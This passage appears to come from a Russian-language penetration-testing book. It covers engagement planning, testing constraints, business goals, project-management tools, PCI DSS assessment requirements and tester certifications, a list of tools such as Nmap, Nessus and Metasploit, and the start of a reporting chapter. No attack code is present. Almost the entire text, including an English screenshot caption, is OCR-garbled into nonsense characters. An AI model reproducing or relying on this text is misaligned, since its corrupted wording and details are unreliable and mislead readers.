[PY TECTUPOBAHUY HA TIPOHUKHOBEHUE, I0JIKHO OBITH YETKO TIPOTIMCAHO UX Ha3HAYE-
HYie, 4TOOBI TeCTEP MOT UCIIOJIb30BATh X COOTBETCTBYIOMNM 06paszoM. B ROE Bce atu
XapaKTEPUCTUKHU OIPENENIOTCa 6oJee MoApoOHO, TIe YUNTHIBAIOTCS BCE TEXHUYECKUE
KpuTtepuu, KOTOPpbI€ JOJIKHDI CO6JHOI[3.T])CH BO Bpe€Ms BBITIOJIHEHUS TECTa. Brr HUKOT1a
He JOJIKHBI ITepeCceKaTb IPaHuIlbl, YCTAHOBJIEHHBIC B OTHOIIECHUUN TTPEABAPUTEILHO
COTJIACOBAHHBIX TPEOOBAHMUIA.

HOZ[I‘OTOBI/IB KaKAYI0 N3 9TUX yacTel IJIaHa TECTUPOBaHUA, BbI IOJYYUTE COTJIA-

COBAHHBIN MTPOEKT TECTUPOBAHUS HA MTPOHUKHOBEHUE. JTO TTO3BOJIUT UCIBITATEIIO TIO
COTJTACOBAHMUIO C KIMEHTOM TOJIYYUTH GoJsiee TOAPOOHbIe Pe3yIbTATH TECTUPOBAHUSI.
Bcerma pekomenyeTcst TOATOTOBUTH KOHTPOJIBHBIHM CITMCOK TIJIAHA NCITBITAHUHN, KOTOPBIT
MOJKHO MCII0JIb30BaTh JIJ1s1 [IPOBEPKU KPUTEPUEB OLIEHKU I0r0BapUBaIoleiicst CTOPOHOM.
[lanee Mbl pacCMOTPUM IIPUMEP TAKOI'O KOHTPOJIBHOIO CIIUCKA.

KOHTpOJ'IbeIVI CMNCOK MJiaHa TeCTnpoBaHUA

Hwuxe IIprUBE/IEH 6a30BBIi IIepedycHb BOIIPOCOB, Ha KOTOPbIE H606XOZ[I/IMO IIpaBUJIBHO
OTBETUTD, IIPEIK/AC YEM IIPEATIPUHUMATD JlaTbHEHIINeE 1aru B Ipoliecce uccJje1oBaiusd.

a
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Boinossiorest iu Bee TpeboBaHKs, OrOBOPEHHDIE B COTJIAIICHUN Ha IIPOBEIEHUE
WUCITBITAHUI?

Yerko siu orpeeseHa 00J1acTh UCIIbITAHUS ?
Bcee it 06beKThI HAEHTU(DUIIIPOBAHbI IJII TECTUPOBAHUA ?

Bce JINn O6’b€KTbI, He ABJIAIOIINECA O6'beKTaMI/I TeCTI/IpOBaHI/IH, OTACJIbHO Hepqu/Ic-
JIEHBI?

EcTb i1 KOHKPETHBIN TI7IaH TECTUPOBAHNS, KOTOPOTO CJIEYET MPU/IEPKIUBATHCS ?
[IpaBusbHO JTU TOKYMEHTHUPOBAH MPOTIECC TECTUPOBAHMS ?

BynyT i mosrydensl pe3yibTaThl MOCE 3aBEPIIEHUST TIPOIecca TeCTUPOBAHUS ?
bBblna jiv panee uccnenoBana u 3aJl0KyMEHTUPOBAaHA BCs 1ieJieBasi cpejia?

B cBsA3M ¢ 1eATeNbHOCTDIO 10 TECTUPOBAHNIO OBLIN JIN paclIpe/leIeHbl BCe POJIN
1 06sI3aHHOCTU ?

CyitiecTByeT Ji KaKO-M00 CTOPOHHUIN UCTIOJHUTEb, KOTOPBIN OYeT IPOBOIUTD
OIIEHKY KOHKPETHBIX TIPOIIECCOB?

Bt i peIpUHATH Kakue-Tu6o TIard IS MOIaroBOTo 3aBePIICHUS TPOEKTa?
Beut sin onipesiesieH MIaH aBapuITHOTO BOCCTAHOBJICHIS ?

3asepiueHa i paboTa HaJl IPOEKTOM MCIIBITAHMIT?

Bouim i omipeziesieHsl IO, KOTOPbIE YTBEPASAT MJIaH UCTTBITAHWI?

boumm oIpeziesieHbl JIIOJIN, KOTOPbIC TIPU3HAIOT PE3YJIbTAaThI TecTa’?
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[paHMUbl NPOUINPOBaHUS TECTA

WccenenoBatestio Ha TPOHUKHOBEHME CJIe/lyeT YeTKO TIOHUMAaTh BCe OTPaHUYeHus 1 Tpa-
HUIIBI MICCITEYEMOT CPETBI, & TAKAKE BCe TPEOOBAHMS KIMEHTA: KaK TTPeIHAMEPEHHbIE,
TaK ¥ HelPpeJHaMePEHHbIE MHTEPECHL. ITO MOTYT ObITh TEXHOJIOTHUH, 3HAHWUS WU JIf0-
Oble apyTre (hopMaTbHbIE OTPAHUIEHUST, HAJTaTAEMble KITMEHTOM Ha WHPPACTPYKTYPY.
Kaxzoe orpanuuenue MoxeT IIPUBECTH K CEPbe3HOMY IIPEPbIBAaHUIO IIPoliecca TeCTHPO-
BaHUA U MOXKET OBITH YCTPAHEHO C MTOMOIIILIO ATbTePHATUBHBIX MeTO/10B. O6parnTe BHNI-
MaHUe, YTO HEKOTOPbIE OTPAaHNYEHN HeJIb3sI U3MEHUTD, TaK KaK OHU BBOJIATCS KJINEHTOM
JUISL YIIPaBJICHUS TIPOIIECCOM TECTUPOBAaHUA Ha IIPOHUKHOBEHHE. PaccMOTPUM KasK/[blii
U3 9TUX OOIIMX TUIIOB OIPAHIYEHIIi ¢ COOTBETCTBYIOIIUMU TPUMEPAMU.

O Texnosornyeckue orpanmvyenusi. OrpaHnyeHusl TAKOro TUIA BO3HUKAIOT, KOTIA
00beM IIPOEKTa OIpeAeIeH IIPABIIbHO, HO HAIUYME HOBOI TEXHOJOTUU B CETEBOIL
uH(PACTPYKTYPe He TI03BOJISIET aAy/IUTOPY TECTUPOBATDH €€. ITO MPOUCXOJUT TOT/IA,
KOIZIa y ayuTopa HeT Kakoro-inbo HHCTPYMEHTa TeCTUPOBAHUS Ha IIPOHUKHOBEHUE,
KOTOPBII MOKET TTOMOYb B OTICHKE HOBOM TeXHOJIOTUH. [IpecTaBbhTe, UTO KOMITAHS
[Ipe/ICTaBIIIA HAJICKHBIN ceTeBoit OpaHaMaysp GZ, KOTOPBIH 3allUIAeT BCIO BHYTPEH-
HIOI0 ceTh. OHAKO peasinsaliust COOCTBEHHBIX METO/IOB BHYTPH OpaHMayapa IPeiIoT-
BpaiiaeT paboTy J060ro HHCTPYMEHTa 110 olleHKe GpaHaMayspa. TakuMm oOpasom,
BCeria eCTh HEOOXOMMOCTD B COBPEMEHHOM PEIICHUH, KOTOPOE MOKET CIIPABUTHCS
C OI[€HKOI HOBOI TEXHOJIOTHU.

Q Orpanunyenus 3Hanuii. Eciu ypoBenb kBajiudukanuu Tectepa orpaHdyeH U OH
He C1IocO6EH TeCTUPOBATH OTPEIEJICHHbIE TEXHOJIOTHH, 9TO MOYKET HEraTUBHO TOBJIU-
SITh Ha IpoeKT. Harpumep, ncnbiTaresb, ClelnaJn3npyonuics Ha IpPOHUKHOBEHUN
B 6a3bl TAHHBIX, HE CMOKET OIEHUTH (PU3MUECKYIO HE30TacHOCTh CeTeBOi nHbpa-
ctpykTypbL. CrreoBaTeibHO, ObLIO ObI TPABUIILHBIM PA3IETUTH POJIU U 00S3aHHOCTH
B COOTBETCTBUU C HABBIKAMU U 3HAHUSIMU UCITbITaTeIel Ha TPOHUKHOBEHNE.

Q /[lpyrue orpanunyeHus MHGPACTPyKTypbl. HekoTOpBIE OTpaHuYeHNs TECTUPOBAHUS
MOTYT TTPUMEHSTHCS KIMEHTOM JIJIs YIIPABJIEHWS TPoTleccoM otleHku. Hampumep,
MOKHO OTpaHUuUTh npeacTaBienne UT-undpacTpyKTypbl TOTBKO KOHKPETHBI-
MU CETeBBIMU YCTPOHCTBAMU U TEXHOJOTUSAMHU, KOTOPblEe HY’K/JAI0TCs B OLlEHKeE.
Kak mpasuio, Takoe orpaHndeHne BBOAUTCS Ha sTane cbopa TpeboBanuii. Jlo-
[IyCTUM, TECTUPOBAaHKE BCEX YCTPOUCTB IaHHOTO CerMeHTa CeTH, 3a UCKJII0YeHUEeM
EePBOTO MapIIPyTU3aTOpa, He 06eCcneYnBaeT B MEPBYIO oyepeb He30MacHOCTh
MapIIpyTU3aTopa. A 3T0 MOXKET IPUBECTH K KOMITPOMETAIIMH BCEH CETH, IaxKe ecyin
BCE OCTaJbHbIE CeTeBbIE YCTPONUCTBA 3alUIeHbl. TakuM 00pasoM, pexk/ie, 4em
BBOJIUTDH KaKue-JTruO0 OrPaHUYEHUsT TECTUPOBAHUS, BCET/Ia HYKHO UX TPABUIBHO
OTIPE/ICTTUTD.

[Tpoduauposanue Beex 5TUX TpeOOBAHUN 1 OTPAHUYEHUI BasKHO U MOYKET BBIIIOJI-
HATbC Ipu cOope TpeboBanmii KaneHTa. XOPOUIMi UCIIbITATEb Ha IIPOHMKHOBEHKE
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JIOJIKEH MTPOAHATIN3UPOBATE U 0OGCYIUTH ¢ KITHEHTOM Kaskjioe TpebGoBaHue, 4ToObI HAfiTH
1 [IPOAHATIM3UPOBATH BCE JBYCMBICJEHHDIE OrPAHUYEHUS, KOTOPbIE MOTYT OCTAHOBUTD
MPOIECC TECTUPOBAHMS WJIN MPUBECTH K HAPYIIEHUIO Ge30TacHOCTH B Gainskaiiniem Oy-
nyteM. MHOTHE OrpaHIYeHHsI MOKHO TIPEOJIOJIETD, ECIIU IPUBJIEYb st PAOOTHI BBICOKO-
KBaJIM(DUIIUPOBAHHBIX IEHTECTEPOB U UCIIOJIb30BAaTh HAOOP CIIEIUATIbHBIX HHCTPYMEHTOB
1 METOJIOB JIJIs1 OIIeHKM ySI3BUMOCTeN. B TO ke BpeMst HeKOTOpble TeXHOJIOTHYeCKue
OTpaHWYEeHMST HEBO3MOKHO YCTPAHUTD 10 KOHCTPYKTUBHBIM M TEXHOJIOTUYECKUM TIPU-
YIHAM W BaM MOJKET MOTPeOOBATHCS JIOTIOJHUTETLHOE BPeMs 1Jist pa3paboTKU PEIeHU i
71T TECTUPOBAHUSI.

OnpeneneHune 6usHec-Lenen

[Tocuie Toro Kak Bee TpeboBarus GBLIH 00OPEHBI, OUEHb BAXKHO OMPEIETUTh GU3HEC-TIEITH.
ITO TapaHTUPYET, YTO PE3YIbTATBI TECTUPOBAHUS B JIIOOOM CJTydae TIPUHECYT TTOJIb3Y
6usnecy. Kaxaas us 6usHec-1esieit 1oskHa ObITh C(hOPMyIUPOBAHA U CTPYKTYPUPOBAHA
B COOTBETCTBUHU € TPEHGOBAHUSAMU OIEHKH U MOJKET JIaTh YETKOE MIPEJICTABJIEHNE O TIeJIsIX,
KOTOPBIX CTPEMUTCSI IOCTUYb OPTAaHU3AITHUSI.

Mbi cchopmyJrpoBasiu 001me OU3HEC-TIENH, KOTOPBIE MOKHO UCIIOIb30BATD C JIOOBIM
3a/laHNeM TeCTHPOBaHMS Ha MPOHUKHOBeHHe. OHAKO TH 11EJIM TAKIKe MOXKHO Iepe-
paboTaTh B COOTBETCTBUU € M3MEHeHUeM TpeboBaHuil, JTaHHBIN TIPOIlece BaKeH, U HC-
MBITATEJIO Ha TPOHUKHOBEHHE TIOTPEOYETCS M3YUNUTh U TIOHSITh MOTUBbI OPTaHU3aIIH,
COXpaHsist MUHMMAJIbHBII YPOBEHb PaHee OrOBOPEHHBIX € 3aKa3unKOM TpeboBaHMil 110,
BO BpeMsI U TIOCJIE 3aBEPIICHNs TecTa. busnec-1eiu sSiBJASIOTCS OCHOBHBIM (haKTOPOM,
KOTOPBIH 0OBeMHSIET PYKOBOIUTENEH 1 TEXHUYECKUH MTEPCOHAT IS BHIMTOTHEHUST 00-
MUX 337124 10 06ecredeHiio Ge30MacHOCTH HH(MOPMATIHOHHBIX CHCTEM.

Ha ocHoBe pa3imyHbIX BUIOB OI[EHOK 6E30MACHOCTH, KOTOPBIE MOTYT TIPOBOAUTHCS,
COCTABJICH CJIE/IYIONIUI TIepedeHb 06IIUX T1eIei.

Q O6ecrieunTh OTpacaeByto 6E30IIACHOCTH ¢ MOMOIIBIO PETYJISIPHBIX IIPOBEPOK Ge3-
OTIACHOCTH.

O

[[OCTI/ILH:) HEO6XOZ[I/IMBIX HOKaSaTEJIeIL/,I, TapaHTUPYA HEJTOCTHOCTDb OusHeca.

a BaH_[I/ITI/ITb I/IH(I)OpMaHI/IOHHbIe CHUCTEMBI, COJ/IeprKalimne KOH(I)I/I[[QH].[I/IB.JIBHBIQ JIaHHbIC
O KJIMEHTaX, COTPYAHUKAX U IPYTUX XOSHfICTByIOHlHX Cy6'beKTaX.

Q IlepeurcnTh aKTUBHBIE YTPO3bI U YSI3BUMOCTH, OOHAPY/KEHHbIE B CETeBOU MHOpPa-
CTPYKTYPE, ¥ TIOMOUb CO3/IATH TTOMTUTHKI U TIPOTIETY PbI HE30TTACHOCTH, KOTOPHIE Oy Iy T
[IPEIATCTBOBATD U3BECTHBIM U HEU3BECTHBIM PUCKAM.

O ObecmeynTs MIABHYIO U HAIEKHYIO OM3HEC-CTPYKTYPY, KOTOPast TPUHECET TOJTh3Y
[apTHepaM U KJIueHTaM OpraHu3alui.

O CoxpaHuTh MUHUMAJIbHBIE 3aTpaThl Ha MojAepxkanne 6esonacHocT U T-uHbpa-
crpykTypol. Oterka 6e30macHOCTH H3MepsieTcst KOH(MUAEHITATHHOCTBIO, TET0CT-
HOCTBIO U JIOCTYITHOCTEIO OM3HEC-CUCTEM.
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O ObecreunTs GOJBIIYIO OTAAYY OT HHBECTUIMH, YCTPAHUB JI0OBIE TOTEHIIHATBHbIE
VS3BUMOCTH, KOTOPBIMA MOTYT BOCTIOJIb30BATHCS 3JTOYMBINIIIEHHUKN. 3aTPAThl HA
yCTpaHEHUE BO3MOKHBIX YSI3BUMOCTE OYyT CTOUTH MEHbIIIE, YeM PUHECEHHBII
3JI0YMBITIICHHUKAMK yIIepo.

O T[ToxpobHO omUCaTh MPOIEAYPBI BOCCTAHOBJIEHNUST, KOTOPBIM MOKET CJIE0BATH TEXHU-
yecKas IPyIIIIa B COOTBETCTBYIOIIEH OpraHu3alii /I yCTPAHEHUS JIIOOBIX YA3BUMO-
cTell U, TakuM 00pa3oM, CHIKEHUST ONIePaTUBHON HArPY3KH.

Q Cuenosars Jy4YIIUM OTPACIEBBIM IPAKTUKAM M METOAAM JJISI OLIEHKU O€30IIaCHOCTH
MH(GOPMAIMOHHBIX CUCTEM B COOTBETCTBHY ¢ 6a30BOIi TEXHOJIOTHEN.

O PexomeH0BaTh JTOGbBIE BOZMOKHbBIE PEleHUsT 0€30MacHOCTH, KOTOPBIE CJIe/IyeT Uc-
I10JIb30BATh JJIs1 3aIIUThl OU3HEC-AKTHUBOB.

YnpaBneHune npoekTaMmn 1 NnaHnpoBaHue

YipasiieHne mpoeKTOM TeCTUPOBAHUS HA TIPOHUKHOBEHME TPeOyeT riiyGOKOTo MOHMMAa-
HUSI BCEX OT/IEJIBHBIX COCTABJAIONINX MIpoliecca onpeseerus obiactu. [Tocse Toro kak
06J1aCTh TECTHPOBAHMST OTIPEIEICHA, PYKOBOIUTEN TIPOEKTA MOKET COTJIACOBATD C MCITBI-
TaressIMU pa3paboTKy OhUIIHATBHOTO ITaHa 1 rpaduka mpoekTa. OGBIYHO TEHTECTEPHI
MOTYT BBITIOJHUTD 3Ty 324y 6€3 MOCTOPOHHEN TOMOIIH, HO COTPY/IHUYECTBO C KJINEH-
TOM HOW/IET TOJIBKO Ha I10JIb3Y. TO BaKHO, TIOCKOJILKY HYKHO TIIATEIBHO IPOCYUTATD
BPEMEHHBIE MHTEPBAJIbI KaKI0T0 aTara. [Tocjie TOro Kak JJisl BBIIOJTHEHHSI HEOOXOANMBIX
3aj1a4 32 KOHKPETHOE BPEMST OTIPEIEIEHDI U BbIJIEIEHBI HEOOXOIUMbIE PECYPCBI, CIEYeT
COCTaBUTD I'paduK, MOKA3bIBAIONIMI CBA3b 9TUX PECYPCOB € UX KJIIOYEBBLIMU POJIAMU
B TIpOIlecce TECTUPOBAHMS Ha TPOHUKHOBeHMe. Kaxk/1as 3aavya onpeesiseTcs: Kak 4acTh
paboTBhI, BBHITIOJIHSIEMO# UCIIBITATEIEM Ha TIPOHUKHOBEHUE. PecypcoM MOKeT ObITh Kak
JIAITIO, YIACTBYIOIIEE B OTleHKe 6e30MaCHOCTH, TaK U HHCTPYMEHT, HATTPUME] YCTPOHCTBO,
KOTOPOE MOKET TIOTPEOOBATHCS TPH TECTUPOBAHUH HA TIPOHUKHOBEHNE,

Jlist opHEeKTUBHOTO 1 9KOHOMUYHOTO YTIPABJIEHUS TTO0OHBIMU TIPOEKTAMU CYIIIe-
CTBYET Psi/] TIOJIE3HBIX HHCTPYMEHTOB. B ciieyiotiei Tabiuniie mepedrcienbl HeKOTOPbIe
Ba)kKHbIE HHCTPYMEHTBI YIIPaBJIeHUsI TIPOeKTaMu. BIOOp HaWIyUIIero HHCTPyMEHTa 3a-
BUCHUT OT YCJIOBUH Cpejibl M KPUTEPHUEB TeCTHPOBAHNS.

WUHCTpYMeHTbI ynpaBsieHns NpoeKTaMum CaiTbl

Microsoft Office Project Professional http://www.microsoft.com/project/
TimeControl http://www.timecontrol.com/
TaskMerlin http://www.taskmerlin.com/
Project KickStart Pro http://www.projectkickstart.com/
FastTrack Schedule http://www.aecsoftware.com/
ProjectLibre www.projectlibre.org

Task]Juggler http://www.taskjuggler.org/
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Vcrnomb3yst 1060#i 13 9THX MOIHBIX HHCTPYMEHTOB, MOKHO JIETKO OTCJIEUTH pabo-
Ty UCIIBITATEISl HA IPOHUKHOBEHNE 1 YIIPABJIATH €10 B COOTBETCTBUHU C OIIPeIe/IeHHBIMU
3azayamu. Kpome TOro, 9T UHCTPYMEHTBI TPEIOCTABIISAIOT APYTHE AOTOJTHUTEIbHBIE
(bynknmm, Takue Kak onoBelleHNe PYKOBOUTES IPOEKTA, €CJIM 3a/a4a 3aBeplieHa
WJIY TIEHTEeCTEePhl He YJIOXKUINUCH B CPOK. ECTb MHOTO APYTrUX MPUYNH MCIIOJb30BATDH
cpe/icTBa yIIpaBJeHus MPOEKTaMU BO BpeMs Ollpe/ieJieHus 3a/la4 TeCTUPOBAHUS Ha
IIPOHNKHOBEHUE: TIPE/IOCTABJIEHIE YCIYT B CPOK, TIOBBIIIIEHNE TPON3BOIUTEIHHOCTH
TECTUPOBAHUs, MOBBIIIEHNE KauecTBa PadOThI, a TakKe I'MOKIIl KOHTPOJIb HaJl IIPO-
Be/IEHNEM TecTa.

NHCTpYyMeHTbI AN4 BbINONIHEHUS TecCTa
Ha NPOHUKHOBEHUE B MJ1IaTEXHbIE CUCTEMDI

B cranpapre PCI DSS yTBep:kmaeTcs, 4To exxeromaHast OleHKa JJ0JKHA BbITIOJTHATHCS
ASV, B TO BpeMsI KaK CaMOOIIEHKY JTOJIZKHBI TTPOBOINTD KBATU(MUITUPOBAHHbIE U OTBIT-
Hbl€e CIIEIMAINCTDL, IPUYEM eKeKBapTanbio. Kpanudunyuposanubie pabOTHUKI JOKHBL
MMeTh MHOTIOJIETHUIA OIIBIT IPOBEAEHM UCIbITAHUN Ha IPOHUKHOBEHUE 1 06J1a1aTh
OJIHUM WJIU HECKOJIbKUMU U3 CJIEYIONINX CePTU(PUKATOR:

Q Certified Ethical Hacker (CEH);

Q Offensive Security Certified Professional (OSCP);

O cepruduraTel TeCTHPOBaHUS Ha MpoHNKHOBeHUe CREST;

Q Global Information Assurance (GIAC), nanpumep GPEN, GWAPT, GXPN.

WuctpyMeHTHl, UcCIonb3yeMble podeccuoHaNbHbIMU UCIIBITATEASAMU HA HPO-
HukHoBenue 1 onenk PCI DSS, MoryT 0biTh KOMMEPUYECKUMHU MU OTKPBITHIMU.
Onu 10/KHBL 06€CTIeunBaTh BBICOKUI YPOBEHb TOUHOCTH TIPOBEICHUS TecTa. B aToit
KHUTE MbI PACCMOTPEJIN MHOTO MHCTPYMEHTOB, YaCTh M3 KOTOPBIX HE TOJIBKO BbBITIOJI-
HSIET HECKOJIBKO (DYHKIIUI, HO U JIEJTA€T HTO aBTOMATUYECKH, €CJIN ObLJIa YKa3aHa BCsI
uHbopmarus 06 IP.

B raBe 6 MBI paccMOTpesi HECKOJIBKO MHCTPYMEHTOB [IJIST BBITIOJTHEHUS aBTOMA-
TU3UPOBAHHBIX OIIEHOK YSI3BUMOCTEN, BK/I0Uast IpoOHYto Bepcuto Nessus Tenable u ee
nocrynabie BapuanTsl st orjeikn PCI DSS. Kommanust Tenable — ogHa 13 MHOTHX,
KOTOPBIE MOTYT OBbITh HAHSATHI HEITOCPEACTBEHHO B KaUeCTBE He3aBUCUMON TpeTheil ¢To-
POHBI /114 BblllosiHenus ckanuposanus ysassumoct PCI ASV s exkeropnoro oryera
PCI DSS, B 3aBUCKMOCTH OT YPOBHS KOMIIAHKK ¥ TOI0BOTO 0GbeMa TPaHCaKIIHii.

Xots Nessus Terepb Z0CTyIEeH TOJIBKO 110 IJIATHOM MOAIIMCKE, OH TaKyKe MOXKET
BBITIOJTHSTH KaK BHyTpeHHue, Tak u BHenrHue oilenku PCI DSS. Ha puc. 13.1 nokazaun
npumep nanubix orenku PCI DSS ¢ momornbeio Nessus.

[l TIpOCTOTBI MBI COCTABUJIN CIIMCOK MHCTPYMEHTOB, ONMCAHHBIX B ITPEABIIYTIUX
ryiaBax. ITU MHCTPYMEHTBI TIOMOTYT BaM B BBITIOJIHEHUH OIEHKN YSI3BUMOCTH U TECTa Ha
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npourkHOBeHMe B paMkax camoorienku PCI DSS. OnsaTs ke HeKoTOpble UHCTPYMEHTHI
MTOBTOPSIIOTCS, TAK KaK OHU MOTYT BBITTIOJTHATH HECKOTBKO (DYHKITHH.
Q Co6op undopmaiuu (riasa 4):
e Devsploit;
o Striker;
e RedHawk.
O Ckanuposanwe (TJ1aBa 5):
® Nmap;
e RedHawk.
Q Orenka yg3sumocteii (riasa 6):
e OpenVAS;
® Nessus;
® Lynis (ckannpoBanue ysg3BuMocTeil Linux ¢ momotisio Lynis);
e SPARTA.
Q WHcTpyMeHTH coMaabHOM WHKeHepun (TraBa 7).
Q O9xcruryatarus (TaBb 8—12):
e Metasploit;
e NetHunter.
O OruerHocts (raasa 14): ppeiimBopk Dradis.

This Lemiplale ueales stans thal may be used Lo salisly inlernal (PCDSS 11.2.1) scanning requirements [ur ongoing voloerability
management programs that satisfy PCI compliance requirements. These scans may be used for ongoing vulnerability management
and to perform rescans until passing or clean results are achieved. Credentials can optionally be provided to enumerate missing
patches and cilent-side vulnerabilities. Mote: while the PCI DSS requires you to provide evidence of passing or "clean” scans on at

least & quarterly basis, you are also required to perform scans after any significant changes to your network (PCI DSS 112.3).

Mame' Internal PCIDSS Scan
Description Firewall
Folder | My Scans -

Puc. 13.1. JanHble oueHkn PCI DSS ¢ nomowbio Nessus

KoneuHo, ecTb MHOTO IPYIUX MHCTPYMEHTOB, KOTOPbIE MOKHO UCIOIb30BaTh. Ho 1e-
PEUNCITIEHHBIX JI0JKHO XBATUTD Ha IMEPBOE BPEMSI JIJISI TIPOBENIEHUST TECTOB Ha TIPOHUK-
HOBEHME.
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Pe3tome

B 9710i1 riiaBe BBl O3HAKOMUJIUCH CO CTAHAAPTOM GE30MACHOCTU JaHHBIX UH/LYCTPUH
mnaresxkubix kapt (PCI DSS), nensmu u TpeboBaHUAMEI K OPraHU3aI[UsIM, COBMECTH -
MbiM PCI DSS. MbI Takke pacCMOTPEJIH PasinyHble YPOBHU COOTBETCTBHS TpeboBa-
HUSIM, B 3aBUCUMOCTH OT 00pabaThIBAEMOTO €KEr0IHO 0ObeMa TPAHCAKITUH TIATEKHBIX
KapT. MBI TOrOBOPUJIN O BA)KHOCTU ceTMeHTanuu u ee Banguuu Ha orenky PCI DSS,
a 3aTeM TIepeNTn K TOAPOOHOMY PacCMOTPEHUIO TIPOTIeCca OTPefeTeHust 06IacTH
oxBara.

Bamske k KOHITY T1aBBI BBI Y3HAJH, 4TO camocTosTebHy1o orieaky PCI DSS mosmkab
IIPOBOJIMTD TOJBKO KBAJM(DUITNPOBAHHBIE W OIBITHBIE CIIEITUATUCTHI. HakoHel, MbI TTepe-
YUCJINIIN PA3TIMYHBIC MHCTPYMEHTDI, OTIMCAHHBIC B ITPE/BIIYIINX TIaBaX KHUTH, KOTOPbIE
MO>KHO HCIOJIb30BATD VIS ITPOBE/ICHUS OIICHOK.

B crenytormett TraBe MBI pacCCMOTPUM HHCTPYMEHTBI 15T CO3/IAaHMSI OTUYETOB, KOTOPBIE
MTO3BOJIAT HAM CBSI3aTh BOCJIMHO BCE PE3YJIbTAThl TECTUPOBAHUS HA TIPOHUKHOBEHME.

Bonpochl

Kakue komnanuu paspaboranu crangapr PCI DSS?

Hazosure Texymyio Bepcuio PCI DSS.

CkoubKo 1iesieii u tpeboBanuii cyiectyer B PCT DSS?

Kaxkue TpeboBaHus KacaloTcsl BHYTPeHHUX U BHenHuX orenok PCI DSS?
Kakoii tun oreHkn MokeT ObITh 1ipoBeieH ASV?

C KaKoi epuoMYHOCTHIO JIOJIKHBI IIPOBOAUTHCS ollenkn ASV?

Kaxkosa 11es1b cermMeHTaIINN ?

P NS W e

K ueMy OTHOCHTCS acHIeKT OI[eHKH B ITPOTlecce CTPYKTYPUPOBAHHOTO TECTUPOBAHIS,
CBS3aHHOTO co cepoit oxBaTa?

9. Kakyio kBasuhuKaIuio JoJKeH UMETh PO eCCHOHATBHBIN UCTIBITATEh Ha MTPO-
HUKHOBeHUE?

10. Kakue uHCTpYMEHTBI OTIEHKU YS3BUMOCTH MOKHO UCIIOJIb30BAThH JIJIST BBITIOJTHEHUS
camoorienku PCI DSS?

[lononHUTeNnbHbIE MaTepuansl

CyH_IECTByeT MHOT'O UCTOUYHMKOB, N3 KOTOPBIX BBl MOJKETE 6oJbIre y3HaTb O CTaH/IapTeE

PCI DSS.

a Tpe6OBaHI/IH U IIPOIEAYPBI OIIEHKU 6esomacHoCTH: https://www.pcisecuritystandards.org/
documents/PCI_DSS_v3-2-1.pdf.
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O Kparkoe pykosozctso 1mo PCI DSS: https://www.pcisecuritystandards.org/documents/
PCI_DSS-QRG-v3_2_1.pdf?agreement=truetime=1535905197919.

O IIa6xon PCI DSS pia oruera o coorBeTcTBUM: https://www.pcisecuritystandards.org/
documents/PCI-DSS-v3_2_1-ROC-Reporting-Template.pdf?agreement=truetime=1535905197972.

O [lraH IPUOPUTETHOTO MOAXOAA K obectieueHuno cooTBercTBst TpeboBanmsiM PCI DSS:

https://www.pcisecuritystandards.org/documents/Prioritized-Approach-for-PCI-
DSS-v3_2_1.pdf?agreement=true&time=1535905628536.



NHCTpyMeHTbI AN co3a4aHns
OTYETOB O TECTUPOBAHUMA
Ha NMPOHUKHOBEHUE

AHanm3 pe3yabTaTOB UCCIEAOBAHUS U JIOKYMEHTUPOBAHNE OUYE€Hb BaXKHBI JIJISI TTPO-
(beccronabHOTO TECTUPOBAHUS HA TPOHUKHOBEHNE. KaxkAbIil 3aITyCK WHCTPYMEHTOB
TECTUPOBAHKS J0JIKEH PETUCTPUPOBATHCS, 8 PE3YJIbTaThl pa0OThI KasK/I0I0 MHCTPYMEHTA
caieflyet BocpousBecTr Oe3 uckaskenuil. Vimeiite B BUY, 4TO IPEICTaBJIEHHE KIHEHTaM
Pe3yJIbTaTOB TECTUPOBAHUST — BayKHAS YACTh CAMOTO TecTa. Bo3MOKHO, TTOC/Ie TPUHSTUS
Mep M0 YCTPAHEHHUIO YSI3BUMOCTH TIOTPEOYETCsT IOTOJHUTEIbHOE TECTUPOBAHHUE, C ITOMO-
IIBIO KOTOPOTO Gy/IeT IPOBEPEHO, HACKOIBKO a(DMEKTUBHBI OBLIN MePbI II0 YJIYYIIeHUIO
6esomacHocTr. TOUHOE TOKYMEHTUPOBAHNE BITOJHEHHBIX BaMU JCHCTBUN TTOMOKET
B Oy/Iy1IeM [IPOBECTHU JOIOJHUTEIHHOE TECTUPOBAHMKE.

[IpaBusibHOE JOKYMEHTHUPOBAHUE TECTUPOBAHUS 110/[PA3YMEBAET 3AITUCH BCEX BBIIIOJI-
HEHHBIX JIEHCTBUI U B CIy4ae BOSHUKHOBEHUS Y KJINEHTA NHIM/IEHTOB, HE CBSI3AaHHBIX
C UCIIBITAHUEM Ha IIPOHUKHOBEHME, TI03BOJIUT OTCJIEANTH Bee maru. IloapobHas 3ammch
BalllUX JAefCTBIIT MOXKeT ObITh OYeHb YTOMUTENbHOI, HO, KaK IPO(eccrnoHaIbHBIN 1iC-
MIBITATETh HA TPOHUKHOBEHWE, BBI HE JIOJKHBI YITYCKATh U3 BUILY OTOT ATATL.

CocraBiienne JOKyMEHTAIINH, TO/ITOTOBKA JIOKJIAJIOB U UX [PE/ICTABIEHIE — IJIABHbIE
3a/1a4u, KOTOPbIE JIOJIKHbI PEAIM30BbIBATHCS HA TIOCTOSIHHOWM OCHOBE. JTa IJlaBa coJlep-
AKUT TOAPOOHbBIE NHCTPYKIUM, KOTOPbIE IOMOTYT BaM B COIJIACOBAHMU JOKYMEHTALUN
U COCTaBJIEHUH OTYETHOCTH. MBI pacCMOTPUM CJIeIyTOTIE TEMBI.

Q I[IpoBepka pe3yJbTaToB, FapAaHTUPYIOIIAs, YTO COOOLIAIOTCS TOJIBKO TOATBEPIKACHHbIE
JTaHHBIE.

O PacrpesesieHne 0T9€TOB MO TUTIAM. UTOOBI HAMIYYIITHM 00Pa30M OTPA3UTh UHTEPECH
COOTBETCTBYIOIIMX OPTraHOB, YYACTBYIOIUX B IIPOCKTE TECTUPOBAHUA HA IIPOHUK-
HOBEHUE, TUIIBI OTYETOB CJIEAYET OOCYAUTD € UCIIOJHUTENHHON, YIIPABIEHIECKOI
1 TEXHUYECKON TOYEeK 3pEHNs.

O Cocrasaenue npesenTanyn. Pasjien ¢ mpesenranueil 10KeH coepxRath ob1me
COBETbI 1 pEKOMEHIAIIN B TAKOM BH/IE, LITO6bI KJIMEHT MOT ITIOHATH IIPUBEJACHHYIO
uHpopMaImo.

QO BwinosHEHWE HYKHBIX MTPOIELYP MOCTE TECTUPOBAHUS. 37I€Ch CIEyeT IPUBECTH BCe
